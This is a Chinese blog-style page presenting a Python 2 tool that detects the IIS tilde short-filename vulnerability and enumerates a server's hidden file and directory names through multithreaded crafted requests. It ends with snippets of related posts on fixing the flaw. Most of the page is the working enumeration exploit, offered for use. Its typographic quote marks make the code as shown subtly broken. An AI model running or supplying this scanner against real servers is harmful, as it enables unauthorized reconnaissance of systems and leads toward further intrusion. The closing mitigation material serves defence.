IIS短文件名扫描工具

#!/usr/bin/env python

# -*- coding: utf-8 -*-

import sys

import httplib

import urlparse

import string

import threading

import Queue

import time

import string

class Scanner():

    def __init__(self, target):

        self.target = target

        self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)

        if self.path[-1:] != ‘/‘:    # ends with slash

            self.path += ‘/‘

        self.payloads = list(‘abcdefghijklmnopqrstuvwxyz0123456789_-‘)

        self.files = []

        self.dirs = []

        self.queue = Queue.Queue()

        self.lock = threading.Lock()

        self.threads = []

    

    def _conn(self):

        try:

            if self.scheme == ‘https‘:

                conn = httplib.HTTPSConnection(self.netloc)

            else:

                conn = httplib.HTTPConnection(self.netloc)

            return conn

        except Exception, e:

            print ‘[Exception in function _conn]‘, e

            return None

    # fetch http response status code

    def _get_status(self, path):

        try:

            conn = self._conn()

            conn.request(‘GET‘, path)

            status = conn.getresponse().status

            conn.close()

            return status

        except Exception, e:

            raise Exception(‘[Exception in function _get_status] %s‘ % str(e) )

    # test weather the server is vulerable

    def is_vul(self):

        try:

            status_1 = self._get_status(self.path + ‘/*~1****/a.aspx‘)    # an existed file/folder

            status_2 = self._get_status(self.path + ‘/san1e*~1****/a.aspx‘)    # not existed file/folder

            if status_1 == 404 and status_2 == 400:

                return True

            return False

        except Exception, e:

            raise Exception(‘[Exception in function is_val] %s‘ % str(e) )

    def run(self):

        # start from root path

        for payload in self.payloads:

            self.queue.put( (self.path + payload, ‘****‘) )    # filename, extention

        for i in range(10): 

            t = threading.Thread(target=self._scan_worker)

            self.threads.append(t)

            t.start()

    def report(self):

        for t in self.threads:

            t.join()

        self._print(‘-‘* 64)

        for d in self.dirs:

            self._print(‘Dir:  ‘ + d)

        for f in self.files:

            self._print(‘File: ‘ + f)

        self._print(‘-‘*64)

        self._print(‘%d Directories, %d Files found in toal‘ % (len(self.dirs), len(self.files)) )

    def _print(self, msg):

        self.lock.acquire()

        print msg

        self.lock.release()

    def _scan_worker(self):

        while True:

            try:

                url, ext = self.queue.get(timeout=3)

                status = self._get_status(url + ‘*~1‘ + ext + ‘/1.aspx‘)

                if status == 404:

                    self._print(‘Found ‘ +  url + ext + ‘\t[scan in progress]‘)

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only

                        for payload in self.payloads:

                            self.queue.put( (url + payload, ext) )

                    else:

                        if ext == ‘****‘:    # begin to scan extention

                            for payload in string.ascii_lowercase:

                                self.queue.put( (url, ‘*‘ + payload + ‘**‘) )

                            self.queue.put( (url,‘‘) )    # also it can be a folder

                        elif ext.count(‘*‘) == 3:

                            for payload in string.ascii_lowercase:

                                self.queue.put( (url, ‘*‘ + ext[1] + payload + ‘*‘) )

                        elif ext.count(‘*‘) == 2:

                            for payload in string.ascii_lowercase:

                                self.queue.put( (url, ‘*‘ + ext[1] + ext[2] + payload ) )

                        elif ext == ‘‘:

                            self.dirs.append(url + ‘~1‘)

                            self._print(‘Found Dir ‘ +  url + ‘~1\t[Done]‘)

                        elif ext.count(‘*‘) == 1:

                            self.files.append(url + ‘~1.‘ + ext[1:])

                            self._print(‘Found File ‘ + url + ‘~1.‘ + ext[1:] + ‘\t[Done]‘)

            except Exception,e:

                break

if len(sys.argv) == 1:

    print ‘Usage: %s target‘ % sys.argv[0]

    sys.exit()

target = sys.argv[1]

s = Scanner(target)

if not s.is_vul():

    print ‘Sorry, server is not vulerable‘

    sys.exit(0)

print ‘server is vulerable, please wait, scanning...‘

s.run()

s.report()

运行截图:

时间: 2024-10-02 06:18:38

IIS短文件名扫描工具的相关文章

利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞

IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的错误信息,猜测该路径或文件是否存在,具体可参考这篇文章:http://www.freebuf.com/articles/4908.html. 就单纯的解决这个问题来说,微软的URLScan工具是最适合的一个轻量级工具,关键它是免费的,而且安装.配置非常简单.安装过程就不说了,傻瓜式的. 安装完毕之后

IIS短文件名漏洞修复

漏洞描述:IIS短文件名泄露漏洞,Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件. 危害:攻击者可以利用"~"字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击. Windows 还以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件.在cmd下输入"dir /x"即可看到短文件名的效果.通配

IIS短文件名泄露漏洞危害及防范方法(转)

攻击方法(转自http://blog.sina.com.cn/s/blog_64a3795a01017xqt.html) 一直在寻找一种方法,如果我可以使用通配符"*" 和 "?"发送一个请求到iis,我意识到当IIS接收到一个文件路径中包含"~"的请求时,它的反应是不同的.基于这个特点,我们可以根据http的响应区分一个可用或者不可用的文件.在以下的表中,文件validxxx.xxx是存在于网站服务器根目录的.(备注:xxx.xxx是指不确定,

iis短文件名漏洞解决方法

Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件.危害:攻击者可以利用"~"字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击. 关闭NTFS 8.3文件格式的支持.该功能默认是开启的,对于大多数用户来说无需开启. 运行cmd,输入fsutil behavior set disable8dot3 1 2.如果是虚拟主机空间用户,可采用以下修复方案:1)修改注册列表HKLM\SYSTEM\Cu

IIS6利用URLScan修复IIS短文件名漏洞

一.下载URLScan 3.1 链接: http://pan.baidu.com/s/1i4HfKrj 密码: dmud 二.安装URLScan 3.1 安装完成以后,我们可以在System32/InetSvr/URLScan目录下找到以下文件: log:日志目录,开启日志记录功能,会在此目录下生成日志文件: urlscan.dll:动态连接库文件: urlscan.ini:软件配置文件. 三.配置urlscan.ini 打开urlscan.ini文件,找到[DenyUrlSequences]配

IIS短文件名漏洞修补方法之一改注册表一个注意项

1)1.png 为漏洞存在没有做任何修复的时候的扫描 修复:2) 修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改NtfsDisable8dot3NameCreation为1. 2.png 为修改注册表并且重启机器以后的扫描 3)把源代码剪辑或者复制到其他的目录比如D:\wwwroot\ ==> D:\wwwroot.bak\ ,然后再把D:\wwwroot.bak\的文件复制回去(剪辑的话就是复

POC iis短文件名

__author__ = '*'# -*- coding:utf-8 -*- from lib.httpparse import httpparse def verify(protocol,ip,port): url = protocol+'://'+ip+':'+str(port) print('testing if iis shortname vul') http = httpparse() try: path = '/*~1****/a.aspx' tm = http.httpreq('G

短文件名漏洞修复

短文件名漏洞其实在13年时还是很令人耳熟能详的,不过随着所在公司的编码语言转型,目前使用ASP.NET的新项目基本上没有了,而更多的是对原来的采用ASP.NET语言开发的项目进行维护或打个补丁. 事出突然,12月的某个下午被项目组喊去帮个忙,第一感觉就是"是不是线上的项目被人黑了?".于是乎就跑去看下具体的情况,项目组负责人见到我第一句话就是"某个项目被某国家单位进行线上项目巡检时发现了一个漏洞,但是不会修". 往他所指的电脑上简单一看,映入眼帘的就是"存

【收藏】十大Webserver漏洞扫描工具

如今有很多消息令我们感到Web的危急性,因此,当前怎样构建一个安全的Web环境成为网管员和安全管理员们义不容辞的责任.可是巧妇难为无米之炊,该选择哪些安全工具呢? 扫描程序能够在帮助造我们造就安全的Web网站上助一臂之力,也就是说在黑客"黑"你之前,先測试一下自己系统中的漏洞.我们在此推荐十大Web漏洞扫描程序,供您參考. 1. Nikto 这是一个开源的Webserver扫描程序,它能够对Webserver的多种项目(包含3500个潜在的危急文件/CGI,以及超过900个server